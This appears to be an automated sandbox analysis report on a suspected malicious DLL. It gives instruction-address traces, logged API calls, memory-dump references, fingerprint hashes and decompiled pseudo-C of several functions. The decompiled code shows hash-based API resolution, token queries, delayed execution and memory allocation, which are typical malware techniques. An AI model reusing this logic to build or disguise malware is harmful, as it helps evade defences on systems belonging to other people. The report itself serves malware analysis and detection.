0x6eec0ce8
0x6eec0fab
0x6eec0fab
0x6eec0fb2
0x6eec0fb3
0x6eec0fb3
0x6eec0fa9
0x6eec0f30
0x6eec0c66
0x6eec0c66
0x6eec0c66
0x6eec0c6b
0x6eec0c71
0x6eec0c71
0x00000000
0x6eec0c6b
0x6eec0c60
0x6eec0c00
0x6eec0bea
0x6eec089d
0x6eec08a9
0x6eec08ab
0x6eec08ad
0x6eec0e7a
0x6eec0e7f
0x6eec0e81
0x00000000
0x6eec0e87
0x00000000
0x6eec0e87
0x6eec08b3
0x6eec08b3
0x6eec08c4
0x6eec08c8
0x6eec08cd
0x6eec08da
0x6eec08e1
0x6eec08e3
0x6eec08fa
0x6eec08fc
0x6eec08fe
0x6eec0cf6
0x6eec0cf6
0x6eec08fe
0x6eec0904
0x6eec090b
0x6eec090d
0x6eec0d05
0x6eec0d16
0x6eec0d1b
0x6eec0d1d
0x6eec0d1f
0x6eec0e50
0x6eec0e54
0x00000000
0x6eec0d25
0x6eec0d2b
0x6eec0d50
0x6eec0d52
0x6eec0d54
0x6eec0e6c
0x6eec0e71
0x6eec0e73
0x00000000
0x6eec0e75
0x00000000
0x6eec0e75
0x6eec0d5a
0x6eec0d5a
0x6eec0d65
0x6eec0d6c
0x6eec0d73
0x6eec0d7a
0x6eec0d7b
0x6eec0d7c
0x6eec0d8e
0x6eec0d90
0x6eec0d92
0x00000000
0x6eec0d98
0x6eec0d9a
0x6eec0db5
0x6eec0db7
0x6eec0db9
0x6eec0e5e
0x6eec0e63
0x6eec0e65
0x00000000
0x6eec0e67
0x00000000
0x6eec0e67
0x6eec0dbf
0x6eec0dbf
0x6eec0dbf
0x6eec0dc6
0x6eec0dca
0x6eec0e35
0x6eec0e35
0x6eec0e37
0x6eec0e3e
0x6eec0e3e
0x6eec0e39
0x6eec0e39
0x6eec0e3c
0x6eec0e42
0x6eec0e42
0x00000000
0x00000000
0x00000000
0x6eec0e3c
0x6eec0e44
0x6eec0e46
0x6eec0e4b
0x6eec0e4b
0x00000000
0x6eec0dcc
0x6eec0dcc
0x6eec0dcc
0x6eec0dce
0x6eec0dda
0x6eec0ddf
0x6eec0de1
0x00000000
0x00000000
0x6eec0e2f
0x6eec0e30
0x6eec0e33
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eec0e33
0x6eec0de3
0x6eec0de7
0x6eec0dee
0x6eec0def
0x6eec0def
0x6eec0dca
0x6eec0db9
0x6eec0d92
0x6eec0d54
0x6eec0913
0x6eec0913
0x6eec0913
0x6eec0918
0x6eec091e
0x6eec091e
0x00000000
0x6eec0918
0x6eec090d
0x6eec08ad
0x6eec082b
0x6eec082b
0x6eec082c
0x6eec082d
0x6eec082d
0x6eec0ceb
0x6eec0ceb
0x6eec0cf5
0x6eec0cf5
0x00000000

APIs

GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,D0443458,D0443458), ref: 6EEC08FA
GetSystemInfo.KERNELBASE(?,4BCC7CBA,4BCC7CBA,?,?,F3453DD0,?,?,DB1D9B48,?,?,05411B30,00000000,80000002,00000000,-000000FC), ref: 6EEC0CBC
GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,00000000,D0443458,D0443458,00000000,D0443458,D0443458), ref: 6EEC0D50

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken$InfoSystem
String ID:
API String ID: 298373132-0
Opcode ID: ebbab2f0767dd84e32030256126d7dcd0cb8f1f01fa66b2c9b628e162c971b54
Instruction ID: 5ec671d44f5bff1bd3ea9996624537e546dde4618d20a1dc5b71f5f6e5d198a5
Opcode Fuzzy Hash: ebbab2f0767dd84e32030256126d7dcd0cb8f1f01fa66b2c9b628e162c971b54
Instruction Fuzzy Hash: 0822F5B0618345AEEB50DBA4CA50BDF77A9AF85B08F308D1CE4B557295EB30D805CB53

Uniqueness

Uniqueness Score: -1.00%

Function 6EEB1494, Relevance: 1.9, Strings: 1, Instructions: 613
COMMONCrypto

Download Yara Rule

C-Code - Quality: 31%

			E6EEB1494(intOrPtr __ecx, void* __edx, void* __eflags) {
				intOrPtr _v40;
				intOrPtr _v60;
				void* _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				char _v132;
				char _v136;
				char _v140;
				char _v144;
				char _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v164;
				char _v168;
				char _v172;
				char _v176;
				char _v180;
				char _v184;
				char _v188;
				char _v192;
				char _v196;
				char _v200;
				char _v204;
				char _v208;
				char _v212;
				char _v216;
				char _v220;
				char _v224;
				char _v228;
				char _v232;
				char _v236;
				char _v240;
				char _v244;
				char _v248;
				char _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				char _v276;
				void* _v288;
				intOrPtr _v292;
				char _v296;
				char _v300;
				char _v304;
				char _v308;
				char _v312;
				char _v316;
				char _v320;
				char _v324;
				char _v340;
				char _v344;
				char _v348;
				char _v352;
				char _v356;
				void* __ebp;
				void* _t282;
				intOrPtr* _t310;
				intOrPtr* _t318;
				intOrPtr* _t434;
				intOrPtr* _t480;
				void* _t481;

				_t481 = __eflags;
				_t480 =  &_v60;
				_v40 = __ecx;
				_v76 = 0;
				E6EEBF620( &_v72, 0);
				_v60 = 0x22dc1034;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v76, E6EEBF568( &_v76) + 0x10);
				E6EEBF558( &_v80, E6EEBF568( &_v80) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v88 = _v88 + 1;
				_t325 =  &_v84;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v84 + 0x10)) = 0x853cdd04;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v84, E6EEBF568(_t325) + 0x10);
				E6EEBF558( &_v88, E6EEBF568( &_v88) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v96 = _v96 + 1;
				_t329 =  &_v92;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v92 + 0x10)) = 0xb162dc4e;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v92, E6EEBF568(_t329) + 0x10);
				E6EEBF558( &_v96, E6EEBF568( &_v96) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v104 = _v104 + 1;
				_t333 =  &_v100;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v100 + 0x10)) = 0xc15ccc53;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v100, E6EEBF568(_t333) + 0x10);
				E6EEBF558( &_v104, E6EEBF568( &_v104) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v112 = _v112 + 1;
				_t337 =  &_v108;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v108 + 0x10)) = 0xc8fc2de6;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v108, E6EEBF568(_t337) + 0x10);
				E6EEBF558( &_v112, E6EEBF568( &_v112) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v120 = _v120 + 1;
				_t341 =  &_v116;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v116 + 0x10)) = 0x7d07f92f;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v116, E6EEBF568(_t341) + 0x10);
				E6EEBF558( &_v120, E6EEBF568( &_v120) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v128 = _v128 + 1;
				_t345 =  &_v124;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v124 + 0x10)) = 0xfc7fa539;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v124, E6EEBF568(_t345) + 0x10);
				E6EEBF558( &_v128, E6EEBF568( &_v128) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v136 = _v136 + 1;
				_t349 =  &_v132;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v132 + 0x10)) = 0x4145240a;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v132, E6EEBF568(_t349) + 0x10);
				E6EEBF558( &_v136, E6EEBF568( &_v136) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v144 = _v144 + 1;
				_t353 =  &_v140;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v140 + 0x10)) = 0x2c2324e8;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v140, E6EEBF568(_t353) + 0x10);
				E6EEBF558( &_v144, E6EEBF568( &_v144) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v152 = _v152 + 1;
				_t357 =  &_v148;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v148 + 0x10)) = 0xf06b4c6b;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v148, E6EEBF568(_t357) + 0x10);
				E6EEBF558( &_v152, E6EEBF568( &_v152) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v160 = _v160 + 1;
				_t361 =  &_v156;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v156 + 0x10)) = 0xa54975b2;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v156, E6EEBF568(_t361) + 0x10);
				E6EEBF558( &_v160, E6EEBF568( &_v160) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v168 = _v168 + 1;
				_t365 =  &_v164;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v164 + 0x10)) = 0x563e1998;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v164, E6EEBF568(_t365) + 0x10);
				E6EEBF558( &_v168, E6EEBF568( &_v168) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v176 = _v176 + 1;
				_t369 =  &_v172;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v172 + 0x10)) = 0xd926c223;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v172, E6EEBF568(_t369) + 0x10);
				E6EEBF558( &_v176, E6EEBF568( &_v176) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v184 = _v184 + 1;
				_t373 =  &_v180;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v180 + 0x10)) = 0x80febacc;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v180, E6EEBF568(_t373) + 0x10);
				E6EEBF558( &_v184, E6EEBF568( &_v184) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v192 = _v192 + 1;
				_t377 =  &_v188;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v188 + 0x10)) = 0x98595b64;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v188, E6EEBF568(_t377) + 0x10);
				E6EEBF558( &_v192, E6EEBF568( &_v192) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v200 = _v200 + 1;
				_t381 =  &_v196;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v196 + 0x10)) = 0x8e3b5f9c;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v196, E6EEBF568(_t381) + 0x10);
				E6EEBF558( &_v200, E6EEBF568( &_v200) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v208 = _v208 + 1;
				_t385 =  &_v204;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v204 + 0x10)) = 0x9b42cb07;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v204, E6EEBF568(_t385) + 0x10);
				E6EEBF558( &_v208, E6EEBF568( &_v208) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t434 = _t480;
				 *_t434 =  *_t434 + 1;
				E6EEC413C(0xa5eabdf8, _t434);
				E6EEBF558( &_v212, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x450], xmm0");
				E6EEBF558( &_v216, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x458], xmm0");
				E6EEBF558( &_v220, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x460], xmm0");
				E6EEBF558( &_v224, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x468], xmm0");
				E6EEBF558( &_v228, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x470], xmm0");
				E6EEBF558( &_v232, 0x60);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x478], xmm0");
				E6EEBF558( &_v236, 0x70);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x480], xmm0");
				E6EEBF558( &_v240, 0x80);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x488], xmm0");
				E6EEBF558( &_v244, 0x90);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x490], xmm0");
				E6EEBF558( &_v248, 0xa0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x498], xmm0");
				E6EEBF558( &_v252, 0xb0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a0], xmm0");
				E6EEBF558( &_v256, 0xc0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a8], xmm0");
				E6EEBF558( &_v260, 0xd0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b0], xmm0");
				E6EEBF558( &_v264, 0xe0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b8], xmm0");
				E6EEBF558( &_v268, 0xf0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c0], xmm0");
				E6EEBF558( &_v272, 0x100);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c8], xmm0");
				_t282 = E6EEBF558( &_v276, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp], xmm0");
				_v252 = E6EEB1D2C(_v248, _t434, _t481, _t282, _t282);
				_t318 = _t434;
				E6EEBB338( &_v248, _v256, _t481, _v252, _t318);
				E6EEBF8DC( &_v296, _t481);
				_v300 = 0;
				_t410 =  &_v296;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v296 + 0x10)) = 0xfb42c037;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v296, E6EEBF568(_t410) + 0x10);
				E6EEBF558( &_v300, E6EEBF568( &_v300) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v308 = _v308 + 1;
				_t414 =  &_v304;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v304 + 0x10)) = 0x7082aaf3;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v304, E6EEBF568(_t414) + 0x10);
				E6EEBF558( &_v308, E6EEBF568( &_v308) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v316 = _v316 + 1;
				_t418 =  &_v312;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v312 + 0x10)) = 0x1eeb5e35;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v312, E6EEBF568(_t418) + 0x10);
				E6EEBF558( &_v316, E6EEBF568( &_v316) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v324 = _v324 + 1;
				_t422 =  &_v320;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v320 + 0x10)) = 0xe856fc47;
				asm("movq [ecx+0x18], xmm0");
				E6EEBF8C4( &_v320, E6EEBF568(_t422) + 0x10);
				E6EEBF558( &_v324, E6EEBF568( &_v324) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t480 =  *_t480 + 1;
				_t310 = _t480;
				_push(_t310);
				_push(_t318);
				_push(_v292);
				_t154 = _t310 + 0x2c; // 0x2c
				E6EEBBAB8(_t154,  *_t480);
				E6EEBF558( &_v340, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d8], xmm0"); // executed
				E6EEBF558( &_v344, 0x10); // executed
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e0], xmm0");
				E6EEBF558( &_v348, "true");
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d0], xmm0");
				E6EEBF558( &_v352, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e8], xmm0");
				E6EEBF6F0( &_v316);
				return E6EEBF6F0( &_v356);
			}

0x6eeb1494
0x6eeb1498
0x6eeb149d
0x6eeb14a3
0x6eeb14ab
0x6eeb14b0
0x6eeb14bc
0x6eeb14c0
0x6eeb14d2
0x6eeb14e8
0x6eeb14f3
0x6eeb14f4
0x6eeb14f5
0x6eeb14f6
0x6eeb14f7
0x6eeb14fa
0x6eeb14fe
0x6eeb1502
0x6eeb1509
0x6eeb151b
0x6eeb1531
0x6eeb153c
0x6eeb153d
0x6eeb153e
0x6eeb153f
0x6eeb1540
0x6eeb1543
0x6eeb1547
0x6eeb154b
0x6eeb1552
0x6eeb1564
0x6eeb157a
0x6eeb1585
0x6eeb1586
0x6eeb1587
0x6eeb1588
0x6eeb1589
0x6eeb158c
0x6eeb1590
0x6eeb1594
0x6eeb159b
0x6eeb15ad
0x6eeb15c3
0x6eeb15ce
0x6eeb15cf
0x6eeb15d0
0x6eeb15d1
0x6eeb15d2
0x6eeb15d5
0x6eeb15d9
0x6eeb15dd
0x6eeb15e4
0x6eeb15f6
0x6eeb160c
0x6eeb1617
0x6eeb1618
0x6eeb1619
0x6eeb161a
0x6eeb161b
0x6eeb161e
0x6eeb1622
0x6eeb1626
0x6eeb162d
0x6eeb163f
0x6eeb1655
0x6eeb1660
0x6eeb1661
0x6eeb1662
0x6eeb1663
0x6eeb1664
0x6eeb1667
0x6eeb166b
0x6eeb166f
0x6eeb1676
0x6eeb1688
0x6eeb169e
0x6eeb16a9
0x6eeb16aa
0x6eeb16ab
0x6eeb16ac
0x6eeb16ad
0x6eeb16b0
0x6eeb16b4
0x6eeb16b8
0x6eeb16bf
0x6eeb16d1
0x6eeb16e7
0x6eeb16f2
0x6eeb16f3
0x6eeb16f4
0x6eeb16f5
0x6eeb16f6
0x6eeb16f9
0x6eeb16fd
0x6eeb1701
0x6eeb1708
0x6eeb171a
0x6eeb1730
0x6eeb173b
0x6eeb173c
0x6eeb173d
0x6eeb173e
0x6eeb173f
0x6eeb1742
0x6eeb1746
0x6eeb174a
0x6eeb1751
0x6eeb1763
0x6eeb1779
0x6eeb1784
0x6eeb1785
0x6eeb1786
0x6eeb1787
0x6eeb1788
0x6eeb178b
0x6eeb178f
0x6eeb1793
0x6eeb179a
0x6eeb17ac
0x6eeb17c2
0x6eeb17cd
0x6eeb17ce
0x6eeb17cf
0x6eeb17d0
0x6eeb17d1
0x6eeb17d4
0x6eeb17d8
0x6eeb17dc
0x6eeb17e3
0x6eeb17f5
0x6eeb180b
0x6eeb1816
0x6eeb1817
0x6eeb1818
0x6eeb1819
0x6eeb181a
0x6eeb181d
0x6eeb1821
0x6eeb1825
0x6eeb182c
0x6eeb183e
0x6eeb1854
0x6eeb185f
0x6eeb1860
0x6eeb1861
0x6eeb1862
0x6eeb1863
0x6eeb1866
0x6eeb186a
0x6eeb186e
0x6eeb1875
0x6eeb1887
0x6eeb189d
0x6eeb18a8
0x6eeb18a9
0x6eeb18aa
0x6eeb18ab
0x6eeb18ac
0x6eeb18af
0x6eeb18b3
0x6eeb18b7
0x6eeb18be
0x6eeb18d0
0x6eeb18e6
0x6eeb18f1
0x6eeb18f2
0x6eeb18f3
0x6eeb18f4
0x6eeb18f5
0x6eeb18f8
0x6eeb18fc
0x6eeb1900
0x6eeb1907
0x6eeb1919
0x6eeb192f
0x6eeb193a
0x6eeb193b
0x6eeb193c
0x6eeb193d
0x6eeb193e
0x6eeb1941
0x6eeb1945
0x6eeb1949
0x6eeb1950
0x6eeb1962
0x6eeb1978
0x6eeb1983
0x6eeb1984
0x6eeb1985
0x6eeb1986
0x6eeb198c
0x6eeb198f
0x6eeb1991
0x6eeb199c
0x6eeb19a3
0x6eeb19ac
0x6eeb19b4
0x6eeb19bb
0x6eeb19c4
0x6eeb19cc
0x6eeb19d3
0x6eeb19dc
0x6eeb19e4
0x6eeb19eb
0x6eeb19f4
0x6eeb19fc
0x6eeb1a03
0x6eeb1a0c
0x6eeb1a14
0x6eeb1a1b
0x6eeb1a24
0x6eeb1a2c
0x6eeb1a36
0x6eeb1a3f
0x6eeb1a47
0x6eeb1a51
0x6eeb1a5a
0x6eeb1a62
0x6eeb1a6c
0x6eeb1a75
0x6eeb1a7d
0x6eeb1a87
0x6eeb1a90
0x6eeb1a98
0x6eeb1aa2
0x6eeb1aab
0x6eeb1ab3
0x6eeb1abd
0x6eeb1ac6
0x6eeb1ace
0x6eeb1ad8
0x6eeb1ae1
0x6eeb1ae9
0x6eeb1af3
0x6eeb1afc
0x6eeb1b04
0x6eeb1b0e
0x6eeb1b17
0x6eeb1b1f
0x6eeb1b26
0x6eeb1b2f
0x6eeb1b37
0x6eeb1b3e
0x6eeb1b43
0x6eeb1b51
0x6eeb1b55
0x6eeb1b64
0x6eeb1b6d
0x6eeb1b72
0x6eeb1b79
0x6eeb1b7d
0x6eeb1b81
0x6eeb1b88
0x6eeb1b9a
0x6eeb1bb0
0x6eeb1bbb
0x6eeb1bbc
0x6eeb1bbd
0x6eeb1bbe
0x6eeb1bbf
0x6eeb1bc2
0x6eeb1bc6
0x6eeb1bca
0x6eeb1bd1
0x6eeb1be3
0x6eeb1bf9
0x6eeb1c04
0x6eeb1c05
0x6eeb1c06
0x6eeb1c07
0x6eeb1c08
0x6eeb1c0b
0x6eeb1c0f
0x6eeb1c13
0x6eeb1c1a
0x6eeb1c2c
0x6eeb1c42
0x6eeb1c4d
0x6eeb1c4e
0x6eeb1c4f
0x6eeb1c50
0x6eeb1c51
0x6eeb1c54
0x6eeb1c58
0x6eeb1c5c
0x6eeb1c63
0x6eeb1c75
0x6eeb1c8b
0x6eeb1c96
0x6eeb1c97
0x6eeb1c98
0x6eeb1c99
0x6eeb1c9a
0x6eeb1c9d
0x6eeb1ca0
0x6eeb1ca1
0x6eeb1ca2
0x6eeb1ca9
0x6eeb1cac
0x6eeb1cb7
0x6eeb1cbe
0x6eeb1cc7
0x6eeb1ccf
0x6eeb1cd6
0x6eeb1cdf
0x6eeb1ce7
0x6eeb1cee
0x6eeb1cf7
0x6eeb1cff
0x6eeb1d04
0x6eeb1d0d
0x6eeb1d15
0x6eeb1d2a

Strings

$#,, xrefs: 6EEB1701

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: $#,
API String ID: 0-2557146312
Opcode ID: faf8bf4f383b9672c02f2385df81a17d360748bba604cd6ce172ee8b62593912
Instruction ID: 24d1a05d15ffa1cac13da759d78f33c58f610a9e38f8e9a277755be47d039e52
Opcode Fuzzy Hash: faf8bf4f383b9672c02f2385df81a17d360748bba604cd6ce172ee8b62593912
Instruction Fuzzy Hash: 12328476404B05AAC705DFA0CD50ADFB7B8BFA1209F304B1DB4992A1A1FF71DA8AC751

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC218C, Relevance: 1.5, APIs: 1, Instructions: 30
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6EEC218C(void* __ecx, intOrPtr __edx, void* __esi) {
				intOrPtr _v4;
				intOrPtr _v20;
				intOrPtr* _t5;
				intOrPtr _t11;
				intOrPtr* _t13;
				intOrPtr* _t15;

				_t11 = __edx;
				if(__ecx == 0) {
					 *_t15 = 0;
					_v4 = 0;
				} else {
					 *_t15 = E6EEC3A34(0xffffd8f0, 0xffffffff, __ecx, 0);
					_v20 = _t11;
				}
				_t5 = E6EEC2F94(0xa5eabdf8, 0xd48281c0, 0xa5eabdf8, 0xa5eabdf8);
				_t13 = _t5;
				if(_t13 != 0) {
					_t5 =  *_t13(0, _t15); // executed
				}
				return _t5;
			}

0x6eec218c
0x6eec2190
0x6eec21ac
0x6eec21af
0x6eec2192
0x6eec21a1
0x6eec21a4
0x6eec21a4
0x6eec21bf
0x6eec21c4
0x6eec21c8
0x6eec21d0
0x6eec21d0
0x6eec21d4

APIs

NtDelayExecution.NTDLL(00000000,00000000,A5EABDF8,A5EABDF8,FFFFFFFF,FFFFFFFF,6EEB35C3,00000000,00000000,?), ref: 6EEC21D0

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: e340f986def6f26baa2f9c03e956c8e364c5e46def001a9482b730e7c6c19888
Instruction ID: 803bd4b71f9b201ead4d7213d5a5c9e7239ec4fc6fa9c97ea96b062f29f01813
Opcode Fuzzy Hash: e340f986def6f26baa2f9c03e956c8e364c5e46def001a9482b730e7c6c19888
Instruction Fuzzy Hash: 62E09BB011E742AEFB4497694E00B6B7ADD9F99A15F30891CB5B8E73C4E630D4014723

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC2790, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EEC2790(void* __ecx, long __edx, void* __esi, long _a4, long _a8, void* _a12) {
				long _v4;
				void* _t8;
				long _t10;
				PVOID* _t19;

				_v4 = __edx;
				 *_t19 = __ecx;
				if(E6EEC2F94(0xa5eabdf8, 0xc15ccc53, 0xa5eabdf8, 0xa5eabdf8) == 0) {
					L3:
					_t8 =  *_t19;
				} else {
					_t10 = NtAllocateVirtualMemory(_a12, _t19, 0,  &_v4, _a4, _a8); // executed
					if(_t10 == 0) {
						goto L3;
					} else {
						_t8 = 0;
					}
				}
				return _t8;
			}

0x6eec2797
0x6eec27a0
0x6eec27ae
0x6eec27d1
0x6eec27d1
0x6eec27b0
0x6eec27c7
0x6eec27cb
0x00000000
0x6eec27cd
0x6eec27cd
0x6eec27cd
0x6eec27cb
0x6eec27d6

APIs

NtAllocateVirtualMemory.NTDLL(A5EABDF8,?,00000000,22DC1034,00000004,00000004,A5EABDF8,A5EABDF8,?,?,6EEC8852,00003000,00000004,000000FF,A5EABDF8,22DC1034), ref: 6EEC27C7

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: fcb83ea506db4d533a488a570b7e2b2bbaaaa8a6521a140e351edaccfb331de1
Instruction ID: 0cd098bcb075a54aba53e690c56f5b0c96e402737e0fad2f4564613729c72e48
Opcode Fuzzy Hash: fcb83ea506db4d533a488a570b7e2b2bbaaaa8a6521a140e351edaccfb331de1
Instruction Fuzzy Hash: 5BE0A07120C742AFEB08CA68CC54EABB7EDEF9C604F208C1CB0A4C7100D770C8409722

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC3060, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6EEC3060(intOrPtr* __ecx) {
				void* _t1;

				_push(E6EEC33D8);
				_push(1); // executed
				_t1 =  *__ecx(); // executed
				return _t1;
			}

0x6eec3060
0x6eec3065
0x6eec3067
0x6eec3069

